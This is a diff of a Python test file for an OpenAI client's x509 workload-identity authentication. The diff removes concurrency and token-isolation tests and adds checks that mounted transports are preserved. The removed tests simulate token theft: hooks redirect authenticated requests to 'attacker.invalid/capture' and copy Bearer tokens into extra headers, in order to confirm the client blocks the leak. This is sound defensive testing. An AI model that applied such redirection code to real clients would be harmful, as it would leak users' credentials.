_ACTIVE_AUXILIARY_TRANSPORT_MARKERS == original_markers - assert not _client_transport_scope(transport, is_async=True)._auxiliary_request_markers - release_first.set() - assert (await asyncio.wait_for(first, timeout=5)).object == "list" - - assert not any(marker not in original_markers for marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES) - - -def test_sync_x509_allows_concurrent_origins_with_the_same_access_token() -> None: - both_active = threading.Barrier(2) - - class ConcurrentClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - both_active.wait(timeout=5) - return super().send(request, **kwargs) - - transport = ConcurrentClient(transport=httpx2.MockTransport(_response)) - clients = [ - OpenAI(workload_identity=_identity(), http_client=transport, base_url=origin, max_retries=0) - for origin in ("https://mtls.api.openai.com/v1", "https://mtls-us.api.openai.com/v1") - ] - - with ThreadPoolExecutor(max_workers=2) as executor: - results = [executor.submit(client.models.list) for client in clients] - assert [result.result(timeout=5).object for result in results] == ["list", "list"] - - -async def test_async_x509_allows_concurrent_origins_with_the_same_access_token() -> None: - active_count = 0 - both_active = asyncio.Event() - - class ConcurrentClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - nonlocal active_count - active_count += 1 - if active_count == 2: - both_active.set() - await asyncio.wait_for(both_active.wait(), timeout=5) - return await super().send(request, **kwargs) - - transport = ConcurrentClient(transport=httpx2.MockTransport(_response)) - clients = [ - AsyncOpenAI(workload_identity=_identity(), http_client=transport, base_url=origin, max_retries=0) - for origin in ("https://mtls.api.openai.com/v1", "https://mtls-us.api.openai.com/v1") - ] - - assert [result.object for result in await asyncio.gather(*(client.models.list() for client in clients))] == [ - "list", - "list", - ] - - -@pytest.mark.parametrize("short_token", ["v1", "models"]) -def test_sync_x509_allows_auxiliary_url_paths_that_match_short_tokens(short_token: str) -> None: - requests: list[httpx2.Request] = [] - - def handler(request: httpx2.Request) -> httpx2.Response: - requests.append(request) - if str(request.url) == _TOKEN_URL: - return httpx2.Response(200, request=request, json={"access_token": short_token, "expires_in": 3600}) - return _response(request) - - class TelemetryClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - assert self.get("https://telemetry.example/v1/models").status_code == 200 - return super().send(request, **kwargs) - - transport = TelemetryClient(transport=httpx2.MockTransport(handler)) - with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: - assert client.models.list().object == "list" - - assert [request.url.host for request in requests] == [ - "mtls.auth.openai.com", - "telemetry.example", - "mtls.api.openai.com", - ] - - -@pytest.mark.parametrize("short_token", ["v1", "models"]) -async def test_async_x509_allows_auxiliary_url_paths_that_match_short_tokens(short_token: str) -> None: - requests: list[httpx2.Request] = [] - - def handler(request: httpx2.Request) -> httpx2.Response: - requests.append(request) - if str(request.url) == _TOKEN_URL: - return httpx2.Response(200, request=request, json={"access_token": short_token, "expires_in": 3600}) - return _response(request) - - class TelemetryClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - assert (await self.get("https://telemetry.example/v1/models")).status_code == 200 - return await super().send(request, **kwargs) - - transport = TelemetryClient(transport=httpx2.MockTransport(handler)) - async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: - assert (await client.models.list()).object == "list" - - assert [request.url.host for request in requests] == [ - "mtls.auth.openai.com", - "telemetry.example", - "mtls.api.openai.com", - ] - - -@pytest.mark.parametrize("short_token", ["v1", "models"]) -def test_sync_x509_preserves_exact_identity_when_another_token_matches_the_url(short_token: str) -> None: - both_active = threading.Barrier(2) - - def handler(request: httpx2.Request) -> httpx2.Response: - if str(request.url) == _TOKEN_URL: - identity = json.loads(request.content)["identity_provider_id"] - token = short_token if identity.endswith("-one") else "long-token" - return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600}) - return _response(request) - - class ConcurrentClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - both_active.wait(timeout=5) - return super().send(request, **kwargs) - - transport = ConcurrentClient(transport=httpx2.MockTransport(handler)) - clients = [ - OpenAI( - workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), - http_client=transport, - base_url="https://mtls-us.api.openai.com/v1" if suffix == "two" else None, - max_retries=0, - ) - for suffix in ("one", "two") - ] - - with ThreadPoolExecutor(max_workers=2) as executor: - results = [executor.submit(client.models.list) for client in clients] - assert [result.result(timeout=5).object for result in results] == ["list", "list"] - - -@pytest.mark.parametrize("short_token", ["v1", "models"]) -async def test_async_x509_preserves_exact_identity_when_another_token_matches_the_url(short_token: str) -> None: - active_count = 0 - both_active = asyncio.Event() - - def handler(request: httpx2.Request) -> httpx2.Response: - if str(request.url) == _TOKEN_URL: - identity = json.loads(request.content)["identity_provider_id"] - token = short_token if identity.endswith("-one") else "long-token" - return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600}) - return _response(request) - - class ConcurrentClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - nonlocal active_count - active_count += 1 - if active_count == 2: - both_active.set() - await asyncio.wait_for(both_active.wait(), timeout=5) - return await super().send(request, **kwargs) - - transport = ConcurrentClient(transport=httpx2.MockTransport(handler)) - clients = [ - AsyncOpenAI( - workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), - http_client=transport, - base_url="https://mtls-us.api.openai.com/v1" if suffix == "two" else None, - max_retries=0, - ) - for suffix in ("one", "two") - ] - - assert [result.object for result in await asyncio.gather(*(client.models.list() for client in clients))] == [ - "list", - "list", - ] - - -@pytest.mark.parametrize("cross_origin", [False, True]) -def test_sync_x509_rejects_auxiliary_requests_with_another_active_identity_token(cross_origin: bool) -> None: - requests: list[httpx2.Request] = [] - both_active = threading.Barrier(2) - release_second = threading.Event() - - def handler(request: httpx2.Request) -> httpx2.Response: - requests.append(request) - if str(request.url) == _TOKEN_URL: - identity = json.loads(request.content)["identity_provider_id"] - token = f"token-{identity.rsplit('-', 1)[-1]}" - return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600}) - return httpx2.Response(200, request=request, json={"object": "list", "data": []}) - - def redirect_telemetry(request: httpx2.Request) -> None: - if request.url.host == "telemetry.example": - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - class ConcurrentClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host in ("mtls.api.openai.com", "mtls-us.api.openai.com"): - both_active.wait(timeout=5) - if request.headers.get("Authorization") == "Bearer token-one": - try: - if cross_origin: - self.get( - "https://mtls-us.api.openai.com/v1/models", - headers={ - "Authorization": "Bearer token-two", - "X-Copied-Credential": "Bearer token-one", - }, - ) - else: - self.get( - "https://telemetry.example/v1/models", headers={"Authorization": "Bearer token-two"} - ) - finally: - release_second.set() - else: - assert release_second.wait(timeout=5) - return super().send(request, **kwargs) - - transport = ConcurrentClient(transport=httpx2.MockTransport(handler), event_hooks={"request": [redirect_telemetry]}) - clients = [ - OpenAI( - workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), - http_client=transport, - base_url="https://mtls-us.api.openai.com/v1" if cross_origin and suffix == "two" else None, - max_retries=0, - ) - for suffix in ("one", "two") - ] - - with ThreadPoolExecutor(max_workers=2) as executor: - results = [executor.submit(client.models.list) for client in clients] - with pytest.raises(OpenAIError, match="configured API origin|authorization|single API origin"): - results[0].result(timeout=5) - assert results[1].result(timeout=5).object == "list" - - assert all(request.url.host != "attacker.invalid" for request in requests) - - -@pytest.mark.parametrize("cross_origin", [False, True]) -async def test_async_x509_rejects_auxiliary_requests_with_another_active_identity_token(cross_origin: bool) -> None: - requests: list[httpx2.Request] = [] - active_count = 0 - both_active = asyncio.Event() - release_second = asyncio.Event() - - def handler(request: httpx2.Request) -> httpx2.Response: - requests.append(request) - if str(request.url) == _TOKEN_URL: - identity = json.loads(request.content)["identity_provider_id"] - token = f"token-{identity.rsplit('-', 1)[-1]}" - return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600}) - return httpx2.Response(200, request=request, json={"object": "list", "data": []}) - - async def redirect_telemetry(request: httpx2.Request) -> None: - if request.url.host == "telemetry.example": - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - class ConcurrentClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - nonlocal active_count - if request.url.host in ("mtls.api.openai.com", "mtls-us.api.openai.com"): - active_count += 1 - if active_count == 2: - both_active.set() - await asyncio.wait_for(both_active.wait(), timeout=5) - if request.headers.get("Authorization") == "Bearer token-one": - try: - if cross_origin: - await self.get( - "https://mtls-us.api.openai.com/v1/models", - headers={ - "Authorization": "Bearer token-two", - "X-Copied-Credential": "Bearer token-one", - }, - ) - else: - await self.get( - "https://telemetry.example/v1/models", headers={"Authorization": "Bearer token-two"} - ) - finally: - release_second.set() - else: - await asyncio.wait_for(release_second.wait(), timeout=5) - return await super().send(request, **kwargs) - - transport = ConcurrentClient(transport=httpx2.MockTransport(handler), event_hooks={"request": [redirect_telemetry]}) - clients = [ - AsyncOpenAI( - workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), - http_client=transport, - base_url="https://mtls-us.api.openai.com/v1" if cross_origin and suffix == "two" else None, - max_retries=0, - ) - for suffix in ("one", "two") - ] - - first, second = await asyncio.gather(*(client.models.list() for client in clients), return_exceptions=True) - assert isinstance(first, OpenAIError) - assert any(message in str(first) for message in ("configured API origin", "authorization", "single API origin")) - assert not isinstance(second, BaseException) - assert second.object == "list" - assert all(request.url.host != "attacker.invalid" for request in requests) - - -@pytest.mark.parametrize( - ("ordinary_origin", "ordinary_api_key"), - [("https://nested.example/v1", "nested-api-key"), ("https://attacker.invalid/v1", "access-token")], -) -@pytest.mark.parametrize("copy_ordinary_marker", [False, True]) -def test_sync_x509_rejects_redirected_protected_requests_nested_inside_ordinary_requests( - ordinary_origin: str, ordinary_api_key: str, copy_ordinary_marker: bool -) -> None: - requests: list[httpx2.Request] = [] - ordinary_host = httpx2.URL(ordinary_origin).host - - class MixedNestedClient(httpx2.Client): - def __init__(self) -> None: - self.depth = 0 - self.ordinary: OpenAI | None = None - self.protected: OpenAI | None = None - self.ordinary_extensions: dict[str, Any] = {} - super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com" and self.depth == 0 and self.ordinary is not None: - self.depth = 1 - self.ordinary.models.list() - elif request.url.host == ordinary_host and self.depth == 1 and self.protected is not None: - self.depth = 2 - self.ordinary_extensions = dict(request.extensions) - self.protected.models.list() - elif request.url.host == "mtls.api.openai.com" and self.depth == 2: - request = httpx2.Request( - request.method, - "https://attacker.invalid/capture", - headers=dict(request.headers), - extensions=self.ordinary_extensions if copy_ordinary_marker else None, - ) - request.headers["host"] = "attacker.invalid" - return super().send(request, **kwargs) - - http_client = MixedNestedClient() - http_client.ordinary = OpenAI( - api_key=ordinary_api_key, base_url=ordinary_origin, http_client=http_client, max_retries=0 +def test_sync_x509_preserves_mounted_transports_and_restores_caller_configuration() -> None: + exchange_requests: list[httpx2.Request] = [] + api_requests: list[httpx2.Request] = [] + exchange_transport = httpx2.MockTransport(lambda request: _record(exchange_requests, request)) + api_transport = httpx2.MockTransport(lambda request: _record(api_requests, request)) + http_client = httpx2.Client( + transport=exchange_transport, + mounts={"https://mtls.api.openai.com": api_transport}, + trust_env=False, ) - http_client.protected = OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) + original_mounts = http_client._mounts with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin"): - client.models.list() - - assert all(request.url.host != "attacker.invalid" for request in requests) - - -@pytest.mark.parametrize( - ("ordinary_origin", "ordinary_api_key"), - [("https://nested.example/v1", "nested-api-key"), ("https://attacker.invalid/v1", "access-token")], -) -@pytest.mark.parametrize("copy_ordinary_marker", [False, True]) -async def test_async_x509_rejects_redirected_protected_requests_nested_inside_ordinary_requests( - ordinary_origin: str, ordinary_api_key: str, copy_ordinary_marker: bool -) -> None: - requests: list[httpx2.Request] = [] - ordinary_host = httpx2.URL(ordinary_origin).host + assert client.models.list().object == "list" + assert http_client._transport is exchange_transport + assert http_client._mounts is original_mounts - class MixedNestedClient(httpx2.AsyncClient): - def __init__(self) -> None: - self.depth = 0 - self.ordinary: AsyncOpenAI | None = None - self.protected: AsyncOpenAI | None = None - self.ordinary_extensions: dict[str, Any] = {} - super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + assert [str(request.url) for request in exchange_requests] == [_TOKEN_URL] + assert [str(request.url) for request in api_requests] == [_API_URL] - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com" and self.depth == 0 and self.ordinary is not None: - self.depth = 1 - await self.ordinary.models.list() - elif request.url.host == ordinary_host and self.depth == 1 and self.protected is not None: - self.depth = 2 - self.ordinary_extensions = dict(request.extensions) - await self.protected.models.list() - elif request.url.host == "mtls.api.openai.com" and self.depth == 2: - request = httpx2.Request( - request.method, - "https://attacker.invalid/capture", - headers=dict(request.headers), - extensions=self.ordinary_extensions if copy_ordinary_marker else None, - ) - request.headers["host"] = "attacker.invalid" - return await super().send(request, **kwargs) - http_client = MixedNestedClient() - http_client.ordinary = AsyncOpenAI( - api_key=ordinary_api_key, base_url=ordinary_origin, http_client=http_client, max_retries=0 +async def test_async_x509_preserves_mounted_transports_and_restores_caller_configuration() -> None: + exchange_requests: list[httpx2.Request] = [] + api_requests: list[httpx2.Request] = [] + exchange_transport = httpx2.MockTransport(lambda request: _record(exchange_requests, request)) + api_transport = httpx2.MockTransport(lambda request: _record(api_requests, request)) + http_client = httpx2.AsyncClient( + transport=exchange_transport, + mounts={"https://mtls.api.openai.com": api_transport}, + trust_env=False, ) - http_client.protected = AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) + original_mounts = http_client._mounts async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin"): - await client.models.list() - - assert all(request.url.host != "attacker.invalid" for request in requests) - - -@pytest.mark.parametrize("direct_request", [False, True]) -def test_sync_x509_allows_ordinary_requests_that_start_before_a_concurrent_protected_request( - direct_request: bool, -) -> None: - ordinary_started = threading.Event() - protected_started = threading.Event() - allow_ordinary = threading.Event() - allow_protected = threading.Event() - - class CoordinatedClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "nested.example": - ordinary_started.set() - assert allow_ordinary.wait(timeout=5) - elif request.url.host == "mtls.api.openai.com": - protected_started.set() - assert allow_protected.wait(timeout=5) - return super().send(request, **kwargs) - - http_client = CoordinatedClient(transport=httpx2.MockTransport(_response)) - ordinary = OpenAI(api_key="ordinary-key", base_url="https://nested.example/v1", http_client=http_client) - protected = OpenAI(workload_identity=_identity(), http_client=http_client) - - def list_ordinary() -> str: - if direct_request: - return cast(str, http_client.get("https://nested.example/v1/models").json()["object"]) - return ordinary.models.list().object - - with ThreadPoolExecutor(max_workers=2) as executor: - ordinary_result = executor.submit(list_ordinary) - assert ordinary_started.wait(timeout=5) - protected_result = executor.submit(protected.models.list) - assert protected_started.wait(timeout=5) - allow_ordinary.set() - try: - assert ordinary_result.result(timeout=5) == "list" - finally: - allow_protected.set() - assert protected_result.result(timeout=5).object == "list" - - -@pytest.mark.parametrize("direct_request", [False, True]) -async def test_async_x509_allows_ordinary_requests_that_start_before_a_concurrent_protected_request( - direct_request: bool, -) -> None: - ordinary_started = asyncio.Event() - protected_started = asyncio.Event() - allow_ordinary = asyncio.Event() - allow_protected = asyncio.Event() - - class CoordinatedClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "nested.example": - ordinary_started.set() - await asyncio.wait_for(allow_ordinary.wait(), timeout=5) - elif request.url.host == "mtls.api.openai.com": - protected_started.set() - await asyncio.wait_for(allow_protected.wait(), timeout=5) - return await super().send(request, **kwargs) - - http_client = CoordinatedClient(transport=httpx2.MockTransport(_response)) - ordinary = AsyncOpenAI(api_key="ordinary-key", base_url="https://nested.example/v1", http_client=http_client) - protected = AsyncOpenAI(workload_identity=_identity(), http_client=http_client) - - async def list_models(client: AsyncOpenAI) -> str: - return (await client.models.list()).object - - async def list_ordinary() -> str: - if direct_request: - response = await http_client.get("https://nested.example/v1/models") - return cast(str, response.json()["object"]) - return await list_models(ordinary) - - ordinary_result = asyncio.create_task(list_ordinary()) - await asyncio.wait_for(ordinary_started.wait(), timeout=5) - protected_result = asyncio.create_task(list_models(protected)) - await asyncio.wait_for(protected_started.wait(), timeout=5) - allow_ordinary.set() - try: - assert await asyncio.wait_for(ordinary_result, timeout=5) == "list" - finally: - allow_protected.set() - assert await asyncio.wait_for(protected_result, timeout=5) == "list" - - -@pytest.mark.parametrize("shared_client", [False, True]) -@pytest.mark.parametrize("lowercase_bearer", [False, True]) -def test_sync_x509_never_trusts_a_matching_concurrent_ordinary_request( - shared_client: bool, lowercase_bearer: bool -) -> None: - requests: list[httpx2.Request] = [] - ordinary_started = threading.Event() - allow_ordinary = threading.Event() - - def handle(request: httpx2.Request) -> httpx2.Response: - if request.url.path == "/v1/models" and request.url.host == "attacker.invalid": - ordinary_started.set() - assert allow_ordinary.wait(timeout=5) - return _record(requests, request) - - def redirect(request: httpx2.Request) -> None: - if request.url.host == "mtls.api.openai.com": - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - class CrossThreadClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - request = httpx2.Request(request.method, request.url, headers=dict(request.headers)) - if lowercase_bearer: - request.headers["authorization"] = "bearer access-token" - with ThreadPoolExecutor(max_workers=1) as executor: - return executor.submit(super().send, request, **kwargs).result() - return super().send(request, **kwargs) - - protected_transport = CrossThreadClient(transport=httpx2.MockTransport(handle), event_hooks={"request": [redirect]}) - ordinary_transport = protected_transport if shared_client else httpx2.Client(transport=httpx2.MockTransport(handle)) - ordinary = OpenAI(api_key="access-token", base_url="https://attacker.invalid/v1", http_client=ordinary_transport) - protected = OpenAI(workload_identity=_identity(), http_client=protected_transport, max_retries=0) - - with ThreadPoolExecutor(max_workers=1) as executor: - ordinary_result = executor.submit(ordinary.models.list) - assert ordinary_started.wait(timeout=5) - try: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - protected.models.list() - finally: - allow_ordinary.set() - assert ordinary_result.result(timeout=5).object == "list" - - assert all(request.url.path != "/capture" for request in requests) - - -@pytest.mark.parametrize("shared_client", [False, True]) -@pytest.mark.parametrize("lowercase_bearer", [False, True]) -async def test_async_x509_never_trusts_a_matching_concurrent_ordinary_request( - shared_client: bool, lowercase_bearer: bool -) -> None: - requests: list[httpx2.Request] = [] - ordinary_started = asyncio.Event() - allow_ordinary = asyncio.Event() - - async def handle(request: httpx2.Request) -> httpx2.Response: - if request.url.path == "/v1/models" and request.url.host == "attacker.invalid": - ordinary_started.set() - await asyncio.wait_for(allow_ordinary.wait(), timeout=5) - return _record(requests, request) - - async def redirect(request: httpx2.Request) -> None: - if request.url.host == "mtls.api.openai.com": - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - class CrossContextClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - copied = httpx2.Request(request.method, request.url, headers=dict(request.headers)) - if lowercase_bearer: - copied.headers["authorization"] = "bearer access-token" - coroutine = super().send(copied, **kwargs) - return await Context().run(asyncio.create_task, coroutine) - return await super().send(request, **kwargs) + assert (await client.models.list()).object == "list" + assert http_client._transport is exchange_transport + assert http_client._mounts is original_mounts - protected_transport = CrossContextClient( - transport=httpx2.MockTransport(handle), event_hooks={"request": [redirect]} - ) - ordinary_transport = ( - protected_transport if shared_client else httpx2.AsyncClient(transport=httpx2.MockTransport(handle)) - ) - ordinary = AsyncOpenAI( - api_key="access-token", base_url="https://attacker.invalid/v1", http_client=ordinary_transport - ) - protected = AsyncOpenAI(workload_identity=_identity(), http_client=protected_transport, max_retries=0) - - async def run_ordinary() -> str: - return (await ordinary.models.list()).object - - ordinary_result = asyncio.create_task(run_ordinary()) - await asyncio.wait_for(ordinary_started.wait(), timeout=5) - try: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - await protected.models.list() - finally: - allow_ordinary.set() - assert await asyncio.wait_for(ordinary_result, timeout=5) == "list" - assert all(request.url.path != "/capture" for request in requests) + assert [str(request.url) for request in exchange_requests] == [_TOKEN_URL] + assert [str(request.url) for request in api_requests] == [_API_URL]